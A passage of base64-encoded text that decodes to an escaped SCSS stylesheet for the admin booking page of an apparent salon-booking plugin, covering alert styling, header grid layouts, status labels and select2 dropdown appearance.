XG5cdC5zbG4tYm94X19jb2xsYXBzZXdycC0tb3BlbiAuc2xuLWJveC0tbWFpbi5zbG4tYm94LS1oZWFkZXIge1xuXHRcdGJhY2tncm91bmQtY29sb3I6IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC41KTtcblx0fVxufVxuXG4uc2hvdy0tcGhvbmUge1xuXHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAodGFibGV0KSB7XG5cdFx0ZGlzcGxheTogbm9uZSAhaW1wb3J0YW50O1xuXHRcdHZpc2liaWxpdHk6IGhpZGRlbiAhaW1wb3J0YW50O1xuXHR9XG59XG5cbi5oaWRlLS1waG9uZSB7XG5cdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChwaG9uZSkge1xuXHRcdGRpc3BsYXk6IG5vbmUgIWltcG9ydGFudDtcblx0XHR2aXNpYmlsaXR5OiBoaWRkZW4gIWltcG9ydGFudDtcblx0fVxufVxuXG4jc2xuLXNhbG9uLS1hZG1pbiAjc2xuX2Jvb2tpbmctZGV0YWlscyB7XG5cdC5zbG4tYm9va2luZy1zZXJ2aWNlcy1hbGVydHMge1xuXHRcdGRpc3BsYXk6IGZsZXg7XG5cdFx0ZmxleC1kaXJlY3Rpb246IGNvbHVtbjtcblx0XHRhbGlnbi1pdGVtczogZmxleC1zdGFydDtcblx0XHRnYXA6IDEwcHg7XG5cdFx0bWFyZ2luLWJvdHRvbTogMTVweDtcblx0fVxuXHQuYWxlcnQge1xuXHRcdG1hcmdpbi1ib3R0b206IDA7XG5cdFx0bWFyZ2luLXRvcDogc2V0dGluZ3MtbWl4aW5zLnJlbSgxOHB4KTtcblx0fVxuXHQjc2xuLXVwZGF0ZS11c2VyLW1lc3NhZ2UsXG5cdCNzbG4tbm90aWZpY2F0aW9ucyB7XG5cdFx0Ly9oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNjBweCk7XG5cdFx0Ly9kaXNwbGF5OiBncmlkO1xuXHRcdC8vZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiBhdXRvO1xuXHRcdC8vYWxpZ24taXRlbXM6IGNlbnRlcjtcblx0XHQvL21hcmdpbjogMCBhdXRvO1xuXHRcdGZsb2F0OiBub25lO1xuXHRcdC5hbGVydCB7XG5cdFx0XHRoZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNjBweCk7XG5cdFx0XHQvL2Rpc3BsYXk6IGdyaWQ7XG5cdFx0XHQvL2dyaWQtdGVtcGxhdGUtY29sdW1uczogc2V0dGluZ3MtbWl4aW5zLnJlbSgzMHB4KSBhdXRvO1xuXHRcdFx0Ly9hbGlnbi1pdGVtczogY2VudGVyO1xuXHRcdFx0Ly9jb2x1bW4tZ2FwOiBzZXR0aW5ncy1taXhpbnMucmVtKDIwcHgpO1xuXHRcdFx0ZGlzcGxheTogZmxleDtcblx0XHRcdGZsZXgtZGlyZWN0aW9uOiByb3ctcmV2ZXJzZTtcblx0XHRcdGp1c3RpZnktY29udGVudDogY2VudGVyO1xuXHRcdFx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0XHRcdG1hcmdpbi1ib3R0b206IHNldHRpbmdzLW1peGlucy5yZW0oNDBweCk7XG5cdFx0XHRtYXJnaW4tdG9wOiAwO1xuXHRcdFx0cGFkZGluZzogc2V0dGluZ3MtbWl4aW5zLnJlbSg5cHgpIHNldHRpbmdzLW1peGlucy5yZW0oMTVweCk7XG5cdFx0XHQvKiBGSVggMDkyMDIzICovXG5cdFx0XHQmOjphZnRlciB7XG5cdFx0XHRcdGRpc3BsYXk6IGlubGluZS1ibG9jaztcblx0XHRcdFx0bWFyZ2luLXJpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDIxcHgpO1xuXHRcdFx0XHRjb2xvcjogY3VycmVudENvbG9yO1xuXHRcdFx0XHRjb250ZW50OiBcIiBcXGY0ZmNcIjtcblx0XHRcdFx0YmFja2ZhY2UtdmlzaWJpbGl0eTogaGlkZGVuO1xuXHRcdFx0XHRvcGFjaXR5OiAxO1xuXHRcdFx0XHRAZXh0ZW5kICVmb250LWljb247XG5cdFx0XHRcdGdyaWQtY29sdW1uOiAxO1xuXHRcdFx0XHRncmlkLXJvdzogMTtcblx0XHRcdFx0dHJhbnNpdGlvbjogYWxsIDAuMTVzO1xuXHRcdFx0fVxuXHRcdFx0Ji5hbGVydC13YXJuaW5nOjphZnRlciB7XG5cdFx0XHRcdGNvbnRlbnQ6IFwiIFxcZjA2YVwiO1xuXHRcdFx0fVxuXHRcdFx0Ji5hbGVydC1kYW5nZXI6OmFmdGVyIHtcblx0XHRcdFx0Y29udGVudDogXCIgXFxmMDZhXCI7XG5cdFx0XHR9XG5cdFx0XHQmLmFsZXJ0LWxvYWRpbmcge1xuXHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX251X21haW4tLW1lZGxpZ2h0O1xuXHRcdFx0XHQmOjphZnRlciB7XG5cdFx0XHRcdFx0ZGlzcGxheTogaW5saW5lLWJsb2NrO1xuXHRcdFx0XHRcdGNvbnRlbnQ6IFwiXCI7XG5cdFx0XHRcdFx0d2lkdGg6IHNldHRpbmdzLW1peGlucy5yZW0oMzBweCk7XG5cdFx0XHRcdFx0aGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDMwcHgpO1xuXHRcdFx0XHRcdGJvcmRlcjogM3B4IHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfbnVfbWFpbi0tbGlnaHQ7XG5cdFx0XHRcdFx0Ym9yZGVyLXJhZGl1czogNTAlO1xuXHRcdFx0XHRcdGJvcmRlci1yaWdodC1jb2xvcjogdHJhbnNwYXJlbnQ7XG5cblx0XHRcdFx0XHQtd2Via2l0LXRyYW5zZm9ybTogdHJhbnNsYXRlWigwKTtcblx0XHRcdFx0XHQtbXMtdHJhbnNmb3JtOiB0cmFuc2xhdGVaKDApO1xuXHRcdFx0XHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlWigwKTtcblx0XHRcdFx0XHQtd2Via2l0LWFuaW1hdGlvbjogbG9hZDggMS4xcyBpbmZpbml0ZSBsaW5lYXI7XG5cdFx0XHRcdFx0YW5pbWF0aW9uOiBsb2FkOCAxLjFzIGluZmluaXRlIGxpbmVhcjtcblx0XHRcdFx0fVxuXHRcdFx0XHRpbWcge1xuXHRcdFx0XHRcdGdyaWQtY29sdW1uOiAxO1xuXHRcdFx0XHRcdGdyaWQtcm93OiAxO1xuXHRcdFx0XHRcdHRyYW5zaXRpb246IGFsbCAwLjE1cztcblx0XHRcdFx0XHRkaXNwbGF5OiBub25lO1xuXHRcdFx0XHR9XG5cdFx0XHR9XG5cdFx0fVxuXHRcdC8vIFx0LnNsbi1hbGVydC5zbG4tYWxlcnQtLXdhaXQsXG5cdFx0Ly8gXHQuc2xuLWFsZXJ0LS13YWl0IHtcblx0XHQvLyBcdFx0LyogRklYIDA5MjAyM1xuXHRcdC8vICAgJjo6YWZ0ZXIge1xuXHRcdC8vICAgICAvL3RvcDogaW5pdGlhbDtcblx0XHQvLyAgICAgZGlzcGxheTogYmxvY2s7XG5cdFx0Ly8gICAgIGNvbnRlbnQ6IFwiYWNjZXNzX3RpbWVcIjtcblx0XHQvLyAgICAgZm9udC1zaXplOiAxLjllbTtcblx0XHQvLyAgICAgQGV4dGVuZCAldGV4dC1jb2xvci0tZW1waGFzaXM7XG5cdFx0Ly8gICAgIC8vLXdlYmtpdC1hbmltYXRpb246IHdhaXQgMnMgaW5maW5pdGUgbGluZWFyO1xuXHRcdC8vICAgICAvL2FuaW1hdGlvbjogd2FpdCAycyBpbmZpbml0ZSBsaW5lYXI7XG5cdFx0Ly8gICAgIHRleHQtdHJhbnNmb3JtOiBub25lO1xuXHRcdC8vICAgICBAaW5jbHVkZSBpZTExKCkge1xuXHRcdC8vICAgICAgIGZvbnQtc2l6ZTogMzBweDtcblx0XHQvLyAgICAgfVxuXHRcdC8vICAgfVxuXHRcdC8vICAgKi9cblx0XHQvLyBcdH1cblx0fVxuXHQjc2xuLW5vdGlmaWNhdGlvbnMge1xuXHRcdC5hbGVydCB7XG5cdFx0XHRtYXJnaW4tYm90dG9tOiBzZXR0aW5ncy1taXhpbnMucmVtKDBweCk7XG5cdFx0XHRtYXJnaW4tdG9wOiBzZXR0aW5ncy1taXhpbnMucmVtKDQwcHgpO1xuXHRcdH1cblx0fVxuXHQuc2xuLWJvb2tpbmctc2VydmljZS1saW5lIHtcblx0XHRsYWJlbC50aW1lIHtcblx0XHRcdGhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg2MHB4KTtcblx0XHRcdGxpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDYwcHgpO1xuXHRcdFx0bWFyZ2luLWJvdHRvbTogMDtcblx0XHR9XG5cdH1cblx0LnNsbi1ib29raW5nLXNlcnZpY2UtYWN0aW9uIHtcblx0XHRtYXJnaW4tdG9wOiBzZXR0aW5ncy1taXhpbnMucmVtKDQ1cHgpO1xuXHR9XG5cdC5zbG4tYm9va2luZy1zZXJ2aWNlLWFjdGlvbl9fYnRucyB7XG5cdFx0Ly90ZXh0LWFsaWduOiByaWdodDtcblx0XHRwYWRkaW5nLWxlZnQ6IDJyZW07XG5cdFx0QG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWF4LXdpZHRoOiA3NjdweCkge1xuXHRcdFx0cGFkZGluZy1sZWZ0OiAwO1xuXHRcdFx0dGV4dC1hbGlnbjogY2VudGVyO1xuXHRcdH1cblx0fVxuXHQjc2xuLXVwZGF0ZS11c2VyLWZpZWxkICsgLnNlbGVjdDItY29udGFpbmVyLnNlbGVjdDItY29udGFpbmVyLS1zbG4ge1xuXHRcdC5zZWxlY3QyLXNlbGVjdGlvbi0tc2luZ2xlIHtcblx0XHRcdGhlaWdodDogMy4zM3JlbTtcblx0XHRcdGxpbmUtaGVpZ2h0OiAzLjMzcmVtO1xuXHRcdFx0LnNlbGVjdDItc2VsZWN0aW9uX19yZW5kZXJlZCB7XG5cdFx0XHRcdGxpbmUtaGVpZ2h0OiAzLjJyZW07XG5cdFx0XHRcdC5zZWxlY3QyLXNlbGVjdGlvbl9fcGxhY2Vob2xkZXIge1xuXHRcdFx0XHRcdG9wYWNpdHk6IDAuNzU7XG5cdFx0XHRcdH1cblx0XHRcdH1cblx0XHRcdC5zZWxlY3QyLXNlbGVjdGlvbl9fYXJyb3cge1xuXHRcdFx0XHR3aWR0aDogMS42cmVtO1xuXHRcdFx0XHRoZWlnaHQ6IDEuNnJlbTtcblx0XHRcdFx0dG9wOiBjYWxjKDUwJSAtIDAuOHJlbSk7XG5cdFx0XHRcdHJpZ2h0OiAwLjhyZW07XG5cdFx0XHRcdCY6OmJlZm9yZSB7XG5cdFx0XHRcdFx0Ly9jb250ZW50OiBcIlxcZjJiZFwiO1xuXHRcdFx0XHRcdGNvbnRlbnQ6IFwiXFxmMDAyXCI7XG5cdFx0XHRcdFx0d2lkdGg6IDEuNnJlbTtcblx0XHRcdFx0XHRoZWlnaHQ6IDEuNnJlbTtcblx0XHRcdFx0XHRsaW5lLWhlaWdodDogMS42cmVtO1xuXHRcdFx0XHRcdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0XHRcdFx0XHRpbnNldDogYXV0bztcblx0XHRcdFx0XHRmb250LXNpemU6IDEuNnJlbTtcblx0XHRcdFx0fVxuXHRcdFx0XHQvLyAmOjphZnRlciB7XG5cdFx0XHRcdC8vIFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0XHRcdC8vIFx0Zm9udC1mYW1pbHk6IFwiRm9udEF3ZXNvbWVcIjtcblx0XHRcdFx0Ly8gXHRmb250LXNpemU6IDAuOTJyZW07XG5cdFx0XHRcdC8vIFx0Zm9udC13ZWlnaHQ6IDkwMDtcblx0XHRcdFx0Ly8gXHRjb250ZW50OiBcIlxcZjAwMlwiO1xuXHRcdFx0XHQvLyBcdHdpZHRoOiAxLjZyZW07XG5cdFx0XHRcdC8vIFx0aGVpZ2h0OiAxLjZyZW07XG5cdFx0XHRcdC8vIFx0bGluZS1oZWlnaHQ6IDEuNnJlbTtcblx0XHRcdFx0Ly8gXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdFx0XHRcdC8vIFx0aW5zZXQ6IGF1dG87XG5cdFx0XHRcdC8vIFx0Zm9udC1zaXplOiAxLjZyZW07XG5cdFx0XHRcdC8vIFx0Y29sb3I6ICRjbF9tYWluLS1tZWRpdW07XG5cdFx0XHRcdC8vIH1cblx0XHRcdH1cblx0XHR9XG5cdH1cblx0Ly8vLyBORVcgTUFJTiBIRUFERVIgQk9YIC8vLy9cblx0LnNsbi1ib29raW5nX19oZWFkZXIge1xuXHRcdGRpc3BsYXk6IGdyaWQ7XG5cdFx0Ly9ncmlkLXRlbXBsYXRlOiBhdXRvLzE4JSBjYWxjKDM4JSAtIDNyZW0pIDQ0JTtcblx0XHRncmlkLXRlbXBsYXRlOiBhdXRvLzFmciAyZnI7XG5cdFx0Z2FwOiAxLjVyZW07XG5cdFx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0XHRtYXJnaW4tYm90dG9tOiAzcmVtO1xuXHRcdC5zbG4tYm9va2luZ19faGVhZGVyX190aXRsZSB7XG5cdFx0XHRncmlkLWNvbHVtbjogMTtcblx0XHRcdGdyaWQtcm93OiAxO1xuXHRcdFx0aDEge1xuXHRcdFx0XHRtYXJnaW46IDA7XG5cdFx0XHRcdHBhZGRpbmc6IDA7XG5cdFx0XHRcdGZvbnQtc2l6ZTogMS43NXJlbTtcblx0XHRcdFx0Zm9udC13ZWlnaHQ6IDYwMDtcblx0XHRcdFx0Y29sb3I6ICNiN2I3Yjc7XG5cdFx0XHRcdGNvbG9yOiBzbG4tbnVjb2xvci0tdGV4dCgxKTtcblx0XHRcdH1cblx0XHR9XG5cdFx0LnNsbi1ib29raW5nX19oZWFkZXJfX2NvbmZpcm1hdGlvbiB7XG5cdFx0XHRncmlkLWNvbHVtbjogMjtcblx0XHRcdGdyaWQtcm93OiAxO1xuXHRcdFx0ZGlzcGxheTogZmxleDtcblx0XHRcdGp1c3RpZnktY29udGVudDogY2VudGVyO1xuXHRcdFx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0XHRcdGdhcDogMXJlbTtcblx0XHRcdGgyIHtcblx0XHRcdFx0bWFyZ2luOiAwO1xuXHRcdFx0XHRwYWRkaW5nOiAwO1xuXHRcdFx0XHRmb250LXNpemU6IDFyZW07XG5cdFx0XHRcdGZvbnQtd2VpZ2h0OiA0MDA7XG5cdFx0XHRcdGNvbG9yOiBzbG4tbnVjb2xvci0tdGV4dCgxKTtcblx0XHRcdH1cblx0XHR9XG5cdFx0LnNsbi1ib29raW5nX19oZWFkZXJfX211bHRpc2hvcCB7XG5cdFx0XHRncmlkLWNvbHVtbjogMjtcblx0XHRcdGdyaWQtcm93OiAxO1xuXHRcdFx0LnNsbi1zZWxlY3Qge1xuXHRcdFx0XHRncmlkLXRlbXBsYXRlOiBhdXRvIC8gNDAlIGNhbGMoNjAlIC0gMXJlbSk7XG5cdFx0XHRcdGdhcDogMXJlbTtcblx0XHRcdFx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0XHRcdFx0bGFiZWwge1xuXHRcdFx0XHRcdGdyaWQtY29sdW1uOiAxO1xuXHRcdFx0XHRcdGdyaWQtcm93OiAxO1xuXHRcdFx0XHRcdG1hcmdpbjogMDtcblx0XHRcdFx0XHRwYWRkaW5nOiAwO1xuXHRcdFx0XHRcdHRleHQtYWxpZ246IHJpZ2h0O1xuXHRcdFx0XHR9XG5cdFx0XHRcdC5zZWxlY3QyLWNvbnRhaW5lci0tc2xuIHtcblx0XHRcdFx0XHRncmlkLWNvbHVtbjogMjtcblx0XHRcdFx0XHRncmlkLXJvdzogMTtcblx0XHRcdFx0fVxuXHRcdFx0fVxuXHRcdH1cblx0XHQuc2xuLWJvb2tpbmdfX2hlYWRlcl9fc3RhdHVzIHtcblx0XHRcdGdyaWQtY29sdW1uOiAyO1xuXHRcdFx0Z3JpZC1yb3c6IDE7XG5cdFx0XHRkaXNwbGF5OiBncmlkO1xuXHRcdFx0Ly9ncmlkLXRlbXBsYXRlOiBhdXRvLzQ1JSBjYWxjKDU1JSAtIDFyZW0pO1xuXHRcdFx0Z3JpZC10ZW1wbGF0ZTogYXV0by8xZnIgMS42ZnI7XG5cdFx0XHRnYXA6IDFyZW07XG5cdFx0XHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRcdH1cblx0XHQuc2xuLWJvb2tpbmdfX2hlYWRlcl9fc3RhdHVzLFxuXHRcdC5zbG4tYm9va2luZ19faGVhZGVyX19tdWx0aXNob3Age1xuXHRcdFx0LnNsbi1zZWxlY3Qge1xuXHRcdFx0XHRncmlkLWNvbHVtbjogMjtcblx0XHRcdFx0Z3JpZC1yb3c6IDE7XG5cdFx0XHRcdC5zZWxlY3QyLWNvbnRhaW5lci5zZWxlY3QyLWNvbnRhaW5lci0tc2xuXG5cdFx0XHRcdFx0LnNlbGVjdDItc2VsZWN0aW9uLS1zaW5nbGUge1xuXHRcdFx0XHRcdGhlaWdodDogMi44cmVtO1xuXHRcdFx0XHRcdGxpbmUtaGVpZ2h0OiAyLjhyZW07XG5cdFx0XHRcdFx0Ym9yZGVyOiAycHggc29saWQgY29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluKDEpO1xuXHRcdFx0XHRcdGJvcmRlci1yYWRpdXM6IDRweDtcblx0XHRcdFx0XHQuc2VsZWN0Mi1zZWxlY3Rpb25fX3JlbmRlcmVkIHtcblx0XHRcdFx0XHRcdGxpbmUtaGVpZ2h0OiAyLjVyZW07XG5cdFx0XHRcdFx0XHRmb250LXNpemU6IDEuMTI1cmVtO1xuXHRcdFx0XHRcdFx0Zm9udC13ZWlnaHQ6IDYwMDtcblx0XHRcdFx0XHRcdGNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLXRleHQoMSk7XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHRcdC5zZWxlY3QyLXNlbGVjdGlvbl9fYXJyb3cge1xuXHRcdFx0XHRcdFx0d2lkdGg6IDAuOXJlbTtcblx0XHRcdFx0XHRcdGhlaWdodDogMC44cmVtO1xuXHRcdFx0XHRcdFx0dG9wOiBjYWxjKDUwJSAtIDAuNHJlbSk7XG5cdFx0XHRcdFx0XHRyaWdodDogMXJlbTtcblx0XHRcdFx0XHRcdCY6OmJlZm9yZSB7XG5cdFx0XHRcdFx0XHRcdHdpZHRoOiAwLjlyZW07XG5cdFx0XHRcdFx0XHRcdGhlaWdodDogMC44cmVtO1xuXHRcdFx0XHRcdFx0XHRmb250LXNpemU6IDFyZW07XG5cdFx0XHRcdFx0XHRcdGNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4oMSk7XG5cdFx0XHRcdFx0XHR9XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHR9XG5cdFx0XHR9XG5cblx0XHRcdC5zbG4tc2V0LWRlZmF1bHQtYm9va2luZy1zdGF0dXMtLWJsb2NrLWxhYmVscyB7XG5cdFx0XHRcdGdyaWQtY29sdW1uOiAxO1xuXHRcdFx0XHRncmlkLXJvdzogMTtcblx0XHRcdFx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRcdFx0XHQvL3BhZGRpbmctbGVmdDogMnJlbTtcblx0XHRcdFx0dGV4dC1hbGlnbjogcmlnaHQ7XG5cdFx0XHRcdGZvbnQtc2l6ZTogMXJlbTtcblx0XHRcdFx0LnNsbi1zZXQtZGVmYXVsdC1ib29raW5nLXN0YXR1cy0tbGFiZWwtbWVzc2FnZSB7XG5cdFx0XHRcdFx0ZGlzcGxheTogZ3JpZDtcblx0XHRcdFx0XHRncmlkLXRlbXBsYXRlOiAxZnIgLyAxZnI7XG5cdFx0XHRcdFx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0XHRcdFx0fVxuXHRcdFx0XHQuc2xuLXByb2ZlYXR1cmVfX2N0YS5zbG4tcHJvZmVhdHVyZS0tc2xuLWJvb2tpbmdfX2hlYWRlclxuXHRcdFx0XHRcdCsgLnNsbi1zZXQtZGVmYXVsdC1ib29raW5nLXN0YXR1cy0tbGFiZWwtbWVzc2FnZSB7XG5cdFx0XHRcdFx0cGFkZGluZzogMCAwLjVyZW0gMCAwLjc1cmVtO1xuXHRcdFx0XHR9XG5cdFx0XHRcdC5zbG4tc2V0LWRlZmF1bHQtYm9va2luZy1zdGF0dXMtLWxhYmVsLXNldCxcblx0XHRcdFx0LnNsbi1zZXQtZGVmYXVsdC1ib29raW5nLXN0YXR1cy0tbGFiZWwtY3VycmVudCxcblx0XHRcdFx0LnNsbi1zZXQtZGVmYXVsdC1ib29raW5nLXN0YXR1cy0tbGFiZWwtZG9uZSB7XG5cdFx0XHRcdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0XHRcdFx0Z3JpZC1jb2x1bW46IDE7XG5cdFx0XHRcdFx0Z3JpZC1yb3c6IDE7XG5cdFx0XHRcdFx0dHJhbnNpdGlvbjogMjUwbXM7XG5cdFx0XHRcdH1cblx0XHRcdFx0LnNsbi1zZXQtZGVmYXVsdC1ib29raW5nLXN0YXR1cy0tbGFiZWwtc2V0IHtcblx0XHRcdFx0XHR3aWR0aDogZml0LWNvbnRlbnQ7XG5cdFx0XHRcdFx0bWFyZ2luOiAtMC40ZW0gMDtcblx0XHRcdFx0XHRwYWRkaW5nOiAwLjRlbSAxZW07XG5cdFx0XHRcdFx0bGluZS1oZWlnaHQ6IDEuOHJlbTtcblx0XHRcdFx0XHRib3JkZXItcmFkaXVzOiA0cHg7XG5cdFx0XHRcdFx0Y29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbigxKTtcblx0XHRcdFx0XHRAZXh0ZW5kIC5zbG4tYnRuLS1tYWluLS10b25hbDtcblx0XHRcdFx0XHQvL0BleHRlbmQgLnNsbi1idG4tLWljb247XG5cdFx0XHRcdFx0Ly9AZXh0ZW5kIC5zbG4taWNvbi0tc2V0dGluZ3M7XG5cdFx0XHRcdFx0dHJhbnNmb3JtOiB0cmFuc2xhdGVZKDApO1xuXHRcdFx0XHRcdG9wYWNpdHk6IDE7XG5cdFx0XHRcdFx0Ly8gJjo6YWZ0ZXIge1xuXHRcdFx0XHRcdC8vIFx0dG9wOiAwO1xuXHRcdFx0XHRcdC8vIFx0cmlnaHQ6IDAuNGVtO1xuXHRcdFx0XHRcdC8vIFx0Zm9udC1zaXplOiAxZW07XG5cdFx0XHRcdFx0Ly8gfVxuXHRcdFx0XHRcdCY6aG92ZXIsXG5cdFx0XHRcdFx0Jjpmb2N1cyB7XG5cdFx0XHRcdFx0XHR0ZXh0LWRlY29yYXRpb246IG5vbmU7XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHR9XG5cdFx0XHRcdC5zbG4tc2V0LWRlZmF1bHQtYm9va2luZy1zdGF0dXMtLWxhYmVsLWN1cnJlbnQsXG5cdFx0XHRcdC5zbG4tc2V0LWRlZmF1bHQtYm9va2luZy1zdGF0dXMtLWxhYmVsLWN1cnJlbnQ6aGFzKFxuXHRcdFx0XHRcdFx0fiAuc2xuLXNldC1kZWZhdWx0LWJvb2tpbmctc3RhdHVzLS1sYWJlbC1kb25lOm5vdCguaGlkZSlcblx0XHRcdFx0XHQpIHtcblx0XHRcdFx0XHR0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoMnJlbSk7XG5cdFx0XHRcdFx0b3BhY2l0eTogMDtcblx0XHRcdFx0XHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0XHRcdFx0fVxuXHRcdFx0XHQmLnNlbGVjdGVkX2lzX2RlZmF1bHRcblx0XHRcdFx0XHQuc2xuLXNldC1kZWZhdWx0LWJvb2tpbmctc3RhdHVzLS1sYWJlbC1zZXQsXG5cdFx0XHRcdC5zbG4tc2V0LWRlZmF1bHQtYm9va2luZy1zdGF0dXMtLWxhYmVsLXNldDpoYXMoXG5cdFx0XHRcdFx0XHR+IC5zbG4tc2V0LWRlZmF1bHQtYm9va2luZy1zdGF0dXMtLWxhYmVsLWRvbmU6bm90KC5oaWRlKVxuXHRcdFx0XHRcdCkge1xuXHRcdFx0XHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlWSgtMnJlbSk7XG5cdFx0XHRcdFx0b3BhY2l0eTogMDtcblx0XHRcdFx0XHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0XHRcdFx0fVxuXHRcdFx0XHQmLnNlbGVjdGVkX2lzX2RlZmF1bHRcblx0XHRcdFx0XHQuc2xuLXNldC1kZWZhdWx0LWJvb2tpbmctc3RhdHVzLS1sYWJlbC1jdXJyZW50IHtcblx0XHRcdFx0XHR0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoMCk7XG5cdFx0XHRcdFx0b3BhY2l0eTogMTtcblx0XHRcdFx0fVxuXHRcdFx0XHQuc2xuLXNldC1kZWZhdWx0LWJvb2tpbmctc3RhdHVzLS1sYWJlbC1kb25lIHtcblx0XHRcdFx0XHR0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoMCk7XG5cdFx0XHRcdFx0b3BhY2l0eTogMTtcblx0XHRcdFx0XHQmLmhpZGUge1xuXHRcdFx0XHRcdFx0dHJhbnNmb3JtOiB0cmFuc2xhdGVYKC0ycmVtKTtcblx0XHRcdFx0XHRcdG9wYWNpdHk6IDA7XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHR9XG5cdFx0XHRcdC5zbG4tc2V0LWRlZmF1bHQtYm9va2luZy1zdGF0dXMtLWFsZXJ0LWxvYWRpbmcge1xuXHRcdFx0XHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRcdFx0XHR0b3A6IDA7XG5cdFx0XHRcdFx0bGVmdDogMXJlbTtcblx0XHRcdFx0fVxuXHRcdFx0fVxuXHRcdH1cblx0XHQmLnNsbi1ib29raW5nX19oZWFkZXItLW11bHRpc2hvcCxcblx0XHQmLnNsbi1ib29raW5nX19oZWFkZXItLWNvbmZpcm1hdGlvbiB7XG5cdFx0XHRncmlkLXRlbXBsYXRlOiBhdXRvIC8gbWlubWF4KDE1JSwgYXV0bykgYXV0byBhdXRvO1xuXHRcdFx0Z3JpZC10ZW1wbGF0ZTogYXV0byAvIDFmciAxLjJmciAxLjJmcjtcblx0XHRcdC5zbG4tYm9va2luZ19faGVhZGVyX190aXRsZSB7XG5cdFx0XHRcdHdvcmQtd3JhcDogYnJlYWstd29yZDtcblx0XHRcdH1cblx0XHRcdC8vIH1cblx0XHRcdC8vICYuc2xuLWJvb2tpbmdfX2hlYWRlci0tbXVsdGlzaG9wIHtcblx0XHRcdGFsaWduLWl0ZW1zOiBlbmQ7XG5cdFx0XHQuc2xuLWJvb2tpbmdfX2hlYWRlcl9fc3RhdHVzIHtcblx0XHRcdFx0Z3JpZC1jb2x1bW46IDI7XG5cdFx0XHRcdGdyaWQtcm93OiAxO1xuXHRcdFx0XHQuc2xuLXNlbGVjdCB7XG5cdFx0XHRcdFx0Z3JpZC1jb2x1bW46IDEgLyBzcGFuIDI7XG5cdFx0XHRcdFx0Z3JpZC1yb3c6IDI7XG5cdFx0XHRcdH1cblx0XHRcdFx0LnNsbi1zZXQtZGVmYXVsdC1ib29raW5nLXN0YXR1cy0tYmxvY2stbGFiZWxzLFxuXHRcdFx0XHQuc2xuLXNldC1kZWZhdWx0LWJvb2tpbmctc3RhdHVzLS1sYWJlbC1zZXQge1xuXHRcdFx0XHRcdGdyaWQtY29sdW1uOiAxIC8gc3BhbiAyO1xuXHRcdFx0XHRcdGdyaWQtcm93OiAxO1xuXHRcdFx0XHRcdHRleHQtYWxpZ246IGxlZnQ7XG5cdFx0XHRcdH1cblx0XHRcdH1cblx0XHRcdC5zbG4tYm9va2luZ19faGVhZGVyX19tdWx0aXNob3Age1xuXHRcdFx0XHRncmlkLWNvbHVtbjogMztcblx0XHRcdFx0Z3JpZC1yb3c6IDE7XG5cdFx0XHRcdC5zbG4tc2VsZWN0IGxhYmVsIHtcblx0XHRcdFx0XHRncmlkLWNvbHVtbjogMSAvIHNwYW4gMjtcblx0XHRcdFx0XHRncmlkLXJvdzogMTtcblx0XHRcdFx0XHR0ZXh0LWFsaWduOiBsZWZ0O1xuXHRcdFx0XHR9XG5cdFx0XHRcdC5zbG4tc2VsZWN0IC5zZWxlY3QyLWNvbnRhaW5lci0tc2xuIHtcblx0XHRcdFx0XHRncmlkLWNvbHVtbjogMSAvIHNwYW4gMjtcblx0XHRcdFx0XHRncmlkLXJvdzogMjtcblx0XHRcdFx0fVxuXHRcdFx0fVxuXHRcdH1cblx0XHQmLnNsbi1ib29raW5nX19oZWFkZXItLWNvbmZpcm1hdGlvbiB7XG5cdFx0XHQuc2xuLWJvb2tpbmdfX2hlYWRlcl9fc3RhdHVzIHtcblx0XHRcdFx0Z3JpZC1jb2x1bW46IDM7XG5cdFx0XHRcdGdyaWQtcm93OiAxO1xuXHRcdFx0fVxuXHRcdH1cblx0XHQmLnNsbi1ib29raW5nX19oZWFkZXItLW11bHRpc2hvcC5zbG4tYm9va2luZ19faGVhZGVyLS1jb25maXJtYXRpb24ge1xuXHRcdFx0Z3JpZC10ZW1wbGF0ZTogYXV0byAvIDFmciAxZnIgMS4zZnIgMS4zZnI7XG5cdFx0XHRnYXA6IDEuNXJlbTtcblx0XHRcdGFsaWduLWl0ZW1zOiBlbmQ7XG5cdFx0XHQuc2xuLWJvb2tpbmdfX2hlYWRlcl9fdGl0bGUge1xuXHRcdFx0XHRncmlkLWNvbHVtbjogMTtcblx0XHRc